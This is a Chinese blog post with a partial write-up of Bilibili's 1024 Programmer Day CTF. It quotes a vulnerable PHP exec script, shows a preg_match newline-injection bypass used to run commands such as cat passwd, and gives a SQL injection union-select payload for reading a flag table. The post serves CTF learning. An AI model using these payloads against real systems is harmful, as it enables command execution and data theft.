路漫漫其修远兮,吾将上下而求索

导航

b站1024程序员节-技术对抗赛

链接在这 ----->> 哔哩哔哩 (゜-゜)つロ 干杯~-bilibili 

 

 

 

 

 

 

 

 

 

第一题:

 

 PS:提示打开的是AES的百度百科

 

在线AES加密解密、AES在线加密解密、AES encryption and decryption--查错网 

 

 

第二题:

 

 

 

 

第三题:

 

eval.zip打开是

php代码审计,preg_match绕过和命令执行

打开提示里也是preg_match

 

<?php
    /* 
        bilibili- ( ゜- ゜)つロ 乾杯~
        uat: http://192.168.3.2/uat/eval.php
        pro: http://security.bilibili.com/sec1024/q/pro/eval.php
    */
    $args = @$_GET['args'];
    if (count($args) >3) {
        exit();
    }
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) ) {
            exit();
        }
    }
    // todo: other filter
    $cmd = "/bin/2233 " . implode(" ", $args);
    exec($cmd, $out);
    for ($i=0; $i<count($out); $i++){
        echo($out[$i]);
        echo('<br>');
    }
?>

尝试读下源码,需要GET方式提交args参数,args参数的数目不能大于3,就是不止一个,最多3个,中间肯定用&连接了

接着是以输入的args参数的数目进行for循环执行正则表达式,如果匹配就继续,不匹配就退出

正则表达式"/^\w+$/",匹配字符串,\w表示大小写+数字+下划线{ a-z,A-Z,_,0-9,_}。如果不匹配会退出

两个`/``/` 表明正则表达式的开始与结束,`^`开始字符,`$`结束字符,`+`代表可以有一个或多个`\w`。

再接着是用/bin/2233的shell程序执行implode函数合并args参数后的内容并输出到$out变量并echo显示,implode函数是给多个args参数合并到一起

 

 

网上找了下preg_match绕过总结-----------preg_match绕过总结 - MustaphaMond - 博客园 

大致是用数组类型[]和%0a绕过,第二个的PCRE没仔细看,不太懂。。

所以payload是args[]=1%0a,1可以换成大小写、数字和下划线

再加上其他linux命令参数就是args[]=1%0a&args[]=ls

 

 查看用cat命令需要再加一个args参数args[]=1%0a&args[]=cat&args[]=passwd,其他文件都是空,这里就是最多3个args参数,用[]和数字大小写下划线绕过preg_match函数

 

 其实这里还有点疑问:

1、为什么1%0a参数放前面行放后面不行

 2、用其他命令为什么不行呢,是b站做限制了吗,试过ifconfig、w、ss、df,包括ls和/,uname和-r

 这些命令可以

 

 

第四题:

 

 

 

payload:

{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/1,2,3,4,group_concat(id)/**/from/**/flag",
    "action": "",
    "page": 1,
    "size": 20
}

第七题:

 

 

 

posted on 2021-10-30 21:57  爱在西元间  阅读(175)  评论(0编辑  收藏  举报